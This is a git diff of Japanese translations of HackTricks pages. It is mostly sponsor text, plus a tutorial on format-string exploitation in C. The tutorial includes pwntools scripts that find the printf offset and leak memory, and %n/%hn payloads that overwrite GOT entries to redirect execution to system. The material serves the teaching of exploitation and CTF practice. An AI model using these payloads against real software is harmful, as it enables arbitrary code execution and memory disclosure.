Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 32 KiB |
56
README.md
|
@ -1,4 +1,4 @@
|
|||
# ハックトリック
|
||||
# HackTricks
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -8,23 +8,23 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
**CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。**
|
||||
{% endhint %}
|
||||
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください:
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**が記載されているこのページに従ってください:
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## コーポレートスポンサー
|
||||
## Corporate Sponsors
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな価値あるサイバーセキュリティサービスを提供しています。
|
||||
|
||||
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
|
||||
[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。
|
||||
|
||||
**STM Cyber**はHackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
**STM Cyber** は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) はスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識を促進する使命を持つこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術的知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**は**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
**Intigriti** は、**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**できます。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
|
||||
今すぐアクセスを取得:
|
||||
|
||||
|
@ -67,13 +67,13 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
|
||||
|
||||
* **ハッキングの洞察:** ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
|
||||
* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ
|
||||
* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドに最新情報を提供
|
||||
* **最新のアナウンス:** 新しいバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!**
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!**
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,7 +81,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -89,16 +89,16 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApiは、高速で簡単なリアルタイムAPIを提供して、**検索エンジンの結果にアクセス**できます。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。
|
||||
|
||||
SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\
|
||||
他のプロバイダとは異なり、**SerpApiは有機的な結果だけでなく**、広告、インライン画像やビデオ、ナレッジグラフなど、検索結果に表示される他の要素や機能を一貫して含めます。
|
||||
|
||||
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**などが含まれています。\
|
||||
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックしてください。または、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\
|
||||
[**こちら**](https://serpapi.com/users/sign_up)で**無料アカウント**を作成できます。
|
||||
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**などが含まれます。\
|
||||
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\
|
||||
[**こちら**](https://serpapi.com/users/sign_up) で**無料アカウント**を作成できます。
|
||||
|
||||
***
|
||||
|
||||
|
@ -114,13 +114,13 @@ SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのに役立ちます。
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業で、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護します。**攻撃型セキュリティサービス**を提供することで。
|
||||
|
||||
WebSecは**すべてを含むセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行います。
|
||||
WebSecは**すべてを手掛けるセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。
|
||||
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持って**おり、その程度まで自信を持っています。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、その程度まで自信を持っています。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/) と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecはHackTricksの**熱心な支持者**でもあります。
|
||||
上記に加えて、WebSecは**HackTricksの熱心な支持者**でもあります。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
## ライセンスと免責事項
|
||||
|
@ -133,14 +133,14 @@ WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebS
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>でAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -698,6 +698,7 @@
|
|||
* [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
* [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
* [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
* [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
* [Ret2esp / Ret2reg](binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||||
|
|
|
@ -4,11 +4,11 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,14 +16,17 @@
|
|||
|
||||
C言語では、**`printf`**は文字列を**表示**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。期待される**次のパラメータ**は、生のテキストから**フォーマッタを置換する値**です。
|
||||
|
||||
脆弱性が発生するのは、この関数の**最初の引数として攻撃者のテキストが使用される**場合です。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込み**する特別な入力を作成できます。これにより、**任意のコードを実行**できるようになります。
|
||||
他の脆弱な関数には**`sprintf()`**と**`fprintf()`**があります。
|
||||
|
||||
#### フォーマッタ:
|
||||
脆弱性が発生するのは、この関数の**最初の引数として攻撃者のテキスト**が使用された場合です。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレス(読み取り可能/書き込み可能)のデータを読み取りおよび書き込み**する**特別な入力**を作成できます。これにより、**任意のコードを実行**できるようになります。
|
||||
|
||||
#### フォーマッタ:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%p —> Pointer
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
|
@ -36,18 +39,31 @@ char buffer[30];
|
|||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
* 通常の使用:
|
||||
* 通常の使用方法:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* 引数が不足している場合:
|
||||
* 不足している引数を使用した場合:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
* fprintf 脆弱性:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
char *user_input;
|
||||
user_input = argv[1];
|
||||
FILE *output_file = fopen("output.txt", "w");
|
||||
fprintf(output_file, user_input); // The user input cna include formatters!
|
||||
fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **ポインタへのアクセス**
|
||||
|
||||
フォーマット **`%<n>$x`** 、ここで `n` は数字を示し、printf に n 番目のパラメータ(スタックから)を選択させることができます。したがって、printf を使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:
|
||||
フォーマット**`%<n>$x`**は、`n`が数字である場合、printfにn番目のパラメータ(スタックから)を選択させることができます。したがって、printfを使用してスタックから4番目のパラメータを読み取りたい場合は、次のようにします:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
|
@ -57,7 +73,7 @@ printf("%x %x %x %x")
|
|||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
そして、4番目を直接読んでください。
|
||||
そして、4番目を直接読み取ります。
|
||||
|
||||
攻撃者が`pr`**`intf`パラメータを制御していることに注意してください。** これは基本的に、`printf`が呼び出されるときにスタックに彼の入力があることを意味し、つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
|
||||
|
||||
|
@ -67,13 +83,13 @@ printf("$4%x")
|
|||
|
||||
## **任意の読み取り**
|
||||
|
||||
フォーマッタ **`$n%s`** を使用して、**`printf`** がそれに続く**n番目の位置**にある**アドレス**を取得し、それを文字列として表示することが可能です(0x00が見つかるまで印刷)。したがって、バイナリのベースアドレスが **`0x8048000`** であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように印刷することができます:
|
||||
フォーマッタ**`%n$s`**を使用して、**`printf`**が**n番目にあるアドレス**を取得し、それに続いて**文字列として出力**することが可能です(0x00が見つかるまで出力)。したがって、バイナリのベースアドレスが**`0x8048000`**であり、ユーザー入力がスタックの4番目の位置から始まることを知っている場合、バイナリの先頭を次のように出力できます:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./bin')
|
||||
|
||||
payload = b'%6$p' #4th param
|
||||
payload = b'%6$s' #4th param
|
||||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||||
payload += p32(0x8048000) #6th param
|
||||
|
||||
|
@ -84,37 +100,81 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|||
アドレス0x8048000を入力の先頭に置くことはできません。なぜなら、そのアドレスの末尾には0x00が連結されるからです。
|
||||
{% endhint %}
|
||||
|
||||
## **任意の書き込み**
|
||||
### オフセットの検索
|
||||
|
||||
フォーマッタ **`$<num>%n`** は、スタック内の \<num> パラメータに書き込まれたバイト数を指定されたアドレスに書き込みます。攻撃者がprintfを使用して好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。
|
||||
入力のオフセットを見つけるために、4バイトまたは8バイト(`0x41414141`)を送信し、**`%1$x`** に続けて値を**増やして**いき、`A's` を取得します。
|
||||
|
||||
幸いなことに、数値9999を書き込むには、入力に9999個の "A" を追加する必要はありません。代わりに、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、`num` の位置で指定されたアドレスに数値 **`<num-write>`** を書き込むことが可能です。
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf offset</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
from pwn import *
|
||||
|
||||
# Iterate over a range of integers
|
||||
for i in range(10):
|
||||
# Construct a payload that includes the current integer as offset
|
||||
payload = f"AAAA%{i}$x".encode()
|
||||
|
||||
# Start a new process of the "chall" binary
|
||||
p = process("./chall")
|
||||
|
||||
# Send the payload to the process
|
||||
p.sendline(payload)
|
||||
|
||||
# Read and store the output of the process
|
||||
output = p.clean()
|
||||
|
||||
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
||||
if b"41414141" in output:
|
||||
# If the string is found, log the success message and break out of the loop
|
||||
log.success(f"User input is at offset : {i}")
|
||||
break
|
||||
|
||||
# Close the process
|
||||
p.close()
|
||||
```
|
||||
</details>
|
||||
|
||||
### 有用性
|
||||
|
||||
任意読み取りは以下のように役立つことがあります:
|
||||
|
||||
- メモリから**バイナリ**を**ダンプ**する
|
||||
- キャナリー、暗号キー、またはカスタムパスワードなどの**機密情報が格納されているメモリの特定の部分にアクセスする**(この[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)でのように)
|
||||
|
||||
## **任意書き込み**
|
||||
|
||||
フォーマッタ **`$<num>%n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を書き込みます。攻撃者がprintfで好きなだけ文字を書き込める場合、**`$<num>%n`** を使用して任意の数値を任意のアドレスに書き込むことができます。
|
||||
|
||||
幸いなことに、数値9999を書き込むには、入力に9999個の"A"を追加する必要はありません。そのためには、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`num`の位置で指定されたアドレスに数値`<num-write>`**を書き込むことができます。
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
しかし、通常、`0x08049724`のようなアドレスを書くために(これは一度に書くには巨大な数です)、**`$n`**の代わりに**`$hn`**が使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの上位2バイトと下位2バイトの両方に対して1回ずつ行われます。
|
||||
しかしながら、通常、`0x08049724` のようなアドレスを書くために(これは一度に書くには巨大な数です)、**`$n`** の代わりに **`$hn`** が使用されます。これにより、**2 バイトだけを書く**ことができます。したがって、この操作はアドレスの上位 2 バイトと下位 2 バイトの両方に対して 2 回行われます。
|
||||
|
||||
したがって、この脆弱性により、**任意のアドレスに任意の内容を書き込むことができます(任意の書き込み)。**
|
||||
したがって、この脆弱性により、**任意のアドレスに任意のデータを書き込むことが可能**です。
|
||||
|
||||
この例では、後で呼び出される**GOT**テーブル内の**関数**の**アドレス**を**上書き**することが目標となります。これにより、他の任意の書き込みを実行する手法を悪用できます:
|
||||
この例では、後で呼び出される **GOT テーブル**内の **関数**の **アドレス**を **上書き** することが目標となります。これにより他の任意の書き込みを実行するテクニックを悪用できます:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**ユーザー**から**引数**を**受け取る関数**の**アドレス**を**`system`** **関数**に**ポイント**することになります。\
|
||||
前述のように、アドレスを書くためには通常2つのステップが必要です:まず、アドレスの2バイトを書き込み、その後残りの2バイトを書き込みます。これを行うには**`$hn`**が使用されます。
|
||||
**ユーザー**から **引数**を **受け取る関数**の **アドレス**を **`system` 関数**に **ポイント** させます。\
|
||||
前述のように、アドレスを書き込むには通常 2 ステップが必要です: まず、アドレスの 2 バイトを書き込み、その後残りの 2 バイトを書き込みます。これには **`$hn`** が使用されます。
|
||||
|
||||
* **HOB**はアドレスの上位2バイトを指します
|
||||
* **LOB**はアドレスの下位2バイトを指します
|
||||
* **HOB** はアドレスの上位 2 バイトを指します
|
||||
* **LOB** はアドレスの下位 2 バイトを指します
|
||||
|
||||
その後、フォーマット文字列の動作のため、\[HOB、LOB]のうち**最小の方を最初に書き込む**必要があります。
|
||||
その後、フォーマット文字列の動作により、\[HOB、LOB] のうち **小さい方を最初に書き込む** 必要があります。
|
||||
|
||||
HOB < LOBの場合\
|
||||
HOB < LOB の場合\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
HOB > LOBの場合\
|
||||
HOB > LOB の場合\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
@ -133,7 +193,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)からこの基本的な例を参照してください。
|
||||
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)からの基本的な例:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -154,15 +214,16 @@ p.interactive()
|
|||
```
|
||||
## バイナリオーバーフローへのフォーマット文字列
|
||||
|
||||
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込み**、**バッファオーバーフロー**型の脆弱性を悪用することが可能です。
|
||||
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込み**、**バッファオーバーフロー**タイプの脆弱性を悪用することが可能です。
|
||||
|
||||
## その他の例と参考文献
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32ビット、relroなし、canaryなし、nx、pieなし、フォーマット文字列を使用してスタックからフラグをリークする基本的な使用例(実行フローを変更する必要はありません)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して`fflush`のアドレスをwin関数(ret2win)で上書きする
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32ビット、relro、canaryなし、nx、pieなし、フォーマット文字列を使用して、`.fini_array`内のmain内のアドレスを書き込み(フローが1回追加でループする)、`strlen`を指すGOTテーブル内の`system`のアドレスを書き込みます。フローがmainに戻ると、ユーザー入力で`strlen`が実行され、`system`を指す`strlen`が実行され、渡されたコマンドが実行されます。
|
||||
